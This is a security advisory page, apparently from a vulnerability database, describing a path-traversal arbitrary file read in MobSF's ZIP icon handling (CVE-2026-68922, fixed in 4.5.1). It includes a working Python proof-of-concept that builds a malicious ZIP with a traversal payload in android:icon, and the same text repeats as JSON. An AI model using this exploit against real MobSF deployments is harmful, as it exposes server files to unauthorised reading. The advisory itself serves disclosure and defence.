GHSA-8J49-MMCX-4MP5

Vulnerability from github – Published: 2026-08-18 18:01 – Updated: 2026-08-18 18:01
VLAI
Summary
MobSF Vulnerable to Arbitrary File Read via Path Traversal in ZIP Uploads
Details

Summary

The find_icon_path_zip() function in MobSF does not properly sanitize the android:icon attribute extracted from an Android manifest before resolving it as a filesystem path.

An attacker can supply a malicious android:icon value containing path traversal sequences, causing MobSF to read arbitrary files from the server filesystem and copy them into the downloads directory (DWD_DIR). These files can then be retrieved by any authenticated user via the /download/<filename> endpoint, provided the file extension is included in ALLOWED_EXTENSIONS.

Details

elif icon_path.startswith(('res/', '/res/')):
    stripped_relative_path = icon_path.strip('/res')  # Works for neither /res nor res
    full_path = os.path.join(res_dir, stripped_relative_path)
    if os.path.exists(full_path):
        return full_path
    full_path += '.png'
    if os.path.exists(full_path):
        return full_path

https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/icon_analysis.py#L126

This code enables path traversal if a value like 'res/../../../signatures/maltrail-malware-domains.txt' is used as the icon path. This path will resolve to outside the scan directory, and the file will eventually be copied into DWD_DIR/<md5>-icon.<ext>:

icon_file = find_icon_path_zip(
        app_dic['md5'],
        res_path,
        icon_from_mfst)
    if icon_file and Path(icon_file).exists():
        dwd = Path(settings.DWD_DIR)
        out = dwd / (app_dic['md5'] + '-icon' + Path(icon_file).suffix)
        copy2(icon_file, out)
        app_dic['icon_path'] = out.name

https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/icon_analysis.py#L101

Because the output filename is derived from the MD5 hash of the uploaded archive (which the attacker can compute locally for his own ZIP), the attacker can deterministically retrieve the file via: GET /download/<md5>-icon.<ext>

PoC

The following script generates a malicious ZIP archive that exploits this issue by referencing an arbitrary file on the server (maltrail-malware-domains.txt):

import hashlib
import io
import zipfile

DEFAULT_HOST = "http://localhost:8000"
DEFAULT_TARGET = "res/../../../signatures/maltrail-malware-domains.txt"

MANIFEST_TEMPLATE = """\
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.poc.icontraversal">
    <application android:icon="{target}"
                 android:label="PoC App">
        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
    </application>
</manifest>
"""

MAIN_ACTIVITY = """\
package com.poc.icontraversal;
import android.app.Activity;
public class MainActivity extends Activity {}
"""

host = DEFAULT_HOST
target = DEFAULT_TARGET
host = host.rstrip("/")

# crate ZIP
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
    zf.writestr("AndroidManifest.xml", MANIFEST_TEMPLATE.format(target=target))
    zf.writestr("src/com/poc/icontraversal/MainActivity.java", MAIN_ACTIVITY)
    zf.writestr("res/drawable/placeholder.png", b"\x89PNG\r\n\x1a\n")

# compute hash
zip_bytes = buf.getvalue()
md5 = hashlib.md5(zip_bytes).hexdigest()

# write to disk
out_file = "poc_icon_traversal.zip"
with open(out_file, "wb") as f:
    f.write(zip_bytes)

import os
target_suffix = os.path.splitext(target.strip("/res").split("/")[-1])[1]
download_filename = f"{md5}-icon{target_suffix}"

print(f"[+] ZIP created : {os.path.abspath(out_file)}")
print(f"[+] Target file : {target}")
print()
print("[ Step 1 ] Upload the ZIP manually via the MobSF web UI")
print()
print("[ Step 2 ] Wait for the scan to complete, then browse to:")
print(f"    {host}/download/{download_filename}")

Impact

This vulnerability allows an attacker with scan permissions to read files from the server filesystem outside the intended scan directory, as long as the target file has an extension in ALLOWED_EXTENSIONS. This can expose internal server files that are otherwise inaccessible through any legitimate endpoint. Additionally, this behavior enables a file existence oracle for any file path regardless of extension - the attacker can infer whether a file exists by checking the icon_path field in the scan report (if the target does not exist the path will be empty).

Depending on the deployment, this may expose sensitive configuration files, internal data, or security artifacts.

Remediation

This can fixed by using the is_path_traversal function to validate user input.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mobsf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-68922"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T18:01:26Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe `find_icon_path_zip()` function in MobSF does not properly sanitize the `android:icon` attribute extracted from an Android manifest before resolving it as a filesystem path.\n\nAn attacker can supply a malicious `android:icon` value containing path traversal sequences, causing MobSF to read arbitrary files from the server filesystem and copy them into the downloads directory (`DWD_DIR`). These files can then be retrieved by any authenticated user via the `/download/\u003cfilename\u003e` endpoint, provided the file extension is included in `ALLOWED_EXTENSIONS`.\n\n### Details\n```\nelif icon_path.startswith((\u0027res/\u0027, \u0027/res/\u0027)):\n    stripped_relative_path = icon_path.strip(\u0027/res\u0027)  # Works for neither /res nor res\n    full_path = os.path.join(res_dir, stripped_relative_path)\n    if os.path.exists(full_path):\n        return full_path\n    full_path += \u0027.png\u0027\n    if os.path.exists(full_path):\n        return full_path\n```\nhttps://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/icon_analysis.py#L126\n\nThis code enables path traversal if a value like \u0027res/../../../signatures/maltrail-malware-domains.txt\u0027 is used as the icon path. This path will resolve to outside the scan directory, and the file will eventually be copied into `DWD_DIR/\u003cmd5\u003e-icon.\u003cext\u003e`:\n```\nicon_file = find_icon_path_zip(\n        app_dic[\u0027md5\u0027],\n        res_path,\n        icon_from_mfst)\n    if icon_file and Path(icon_file).exists():\n        dwd = Path(settings.DWD_DIR)\n        out = dwd / (app_dic[\u0027md5\u0027] + \u0027-icon\u0027 + Path(icon_file).suffix)\n        copy2(icon_file, out)\n        app_dic[\u0027icon_path\u0027] = out.name\n```\nhttps://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/icon_analysis.py#L101\n\nBecause the output filename is derived from the MD5 hash of the uploaded archive (which the attacker can compute locally for his own ZIP), the attacker can deterministically retrieve the file via:\n`GET /download/\u003cmd5\u003e-icon.\u003cext\u003e`\n\n### PoC\nThe following script generates a malicious ZIP archive that exploits this issue by referencing an arbitrary file on the server (maltrail-malware-domains.txt):\n```\nimport hashlib\nimport io\nimport zipfile\n\nDEFAULT_HOST = \"http://localhost:8000\"\nDEFAULT_TARGET = \"res/../../../signatures/maltrail-malware-domains.txt\"\n\nMANIFEST_TEMPLATE = \"\"\"\\\n\u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e\n\u003cmanifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    package=\"com.poc.icontraversal\"\u003e\n    \u003capplication android:icon=\"{target}\"\n                 android:label=\"PoC App\"\u003e\n        \u003cactivity android:name=\".MainActivity\"\u003e\n            \u003cintent-filter\u003e\n                \u003caction android:name=\"android.intent.action.MAIN\"/\u003e\n                \u003ccategory android:name=\"android.intent.category.LAUNCHER\"/\u003e\n            \u003c/intent-filter\u003e\n        \u003c/activity\u003e\n    \u003c/application\u003e\n\u003c/manifest\u003e\n\"\"\"\n\nMAIN_ACTIVITY = \"\"\"\\\npackage com.poc.icontraversal;\nimport android.app.Activity;\npublic class MainActivity extends Activity {}\n\"\"\"\n\nhost = DEFAULT_HOST\ntarget = DEFAULT_TARGET\nhost = host.rstrip(\"/\")\n\n# crate ZIP\nbuf = io.BytesIO()\nwith zipfile.ZipFile(buf, \"w\", zipfile.ZIP_DEFLATED) as zf:\n    zf.writestr(\"AndroidManifest.xml\", MANIFEST_TEMPLATE.format(target=target))\n    zf.writestr(\"src/com/poc/icontraversal/MainActivity.java\", MAIN_ACTIVITY)\n    zf.writestr(\"res/drawable/placeholder.png\", b\"\\x89PNG\\r\\n\\x1a\\n\")\n\n# compute hash\nzip_bytes = buf.getvalue()\nmd5 = hashlib.md5(zip_bytes).hexdigest()\n\n# write to disk\nout_file = \"poc_icon_traversal.zip\"\nwith open(out_file, \"wb\") as f:\n    f.write(zip_bytes)\n\nimport os\ntarget_suffix = os.path.splitext(target.strip(\"/res\").split(\"/\")[-1])[1]\ndownload_filename = f\"{md5}-icon{target_suffix}\"\n\nprint(f\"[+] ZIP created : {os.path.abspath(out_file)}\")\nprint(f\"[+] Target file : {target}\")\nprint()\nprint(\"[ Step 1 ] Upload the ZIP manually via the MobSF web UI\")\nprint()\nprint(\"[ Step 2 ] Wait for the scan to complete, then browse to:\")\nprint(f\"    {host}/download/{download_filename}\")\n```\n\n\n### Impact\nThis vulnerability allows an attacker with scan permissions to read files from the server filesystem outside the intended scan directory, as long as the target file has an extension in `ALLOWED_EXTENSIONS`. This can expose internal server files that are otherwise inaccessible through any legitimate endpoint. Additionally, this behavior enables a file existence oracle for any file path regardless of extension - the attacker can infer whether a file exists by checking the `icon_path` field in the scan report (if the target does not exist the path will be empty).\n\nDepending on the deployment, this may expose sensitive configuration files, internal data, or security artifacts.\n\n### Remediation\nThis can fixed by using the `is_path_traversal` [function](https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/MobSF/utils.py#L716) to validate user input.",
  "id": "GHSA-8j49-mmcx-4mp5",
  "modified": "2026-08-18T18:01:26Z",
  "published": "2026-08-18T18:01:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-8j49-mmcx-4mp5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/2627"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/62563ca429a75b3e5d47a13b958e1d2e7d5e2bbf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.5.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MobSF Vulnerable to Arbitrary File Read via Path Traversal in ZIP Uploads"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…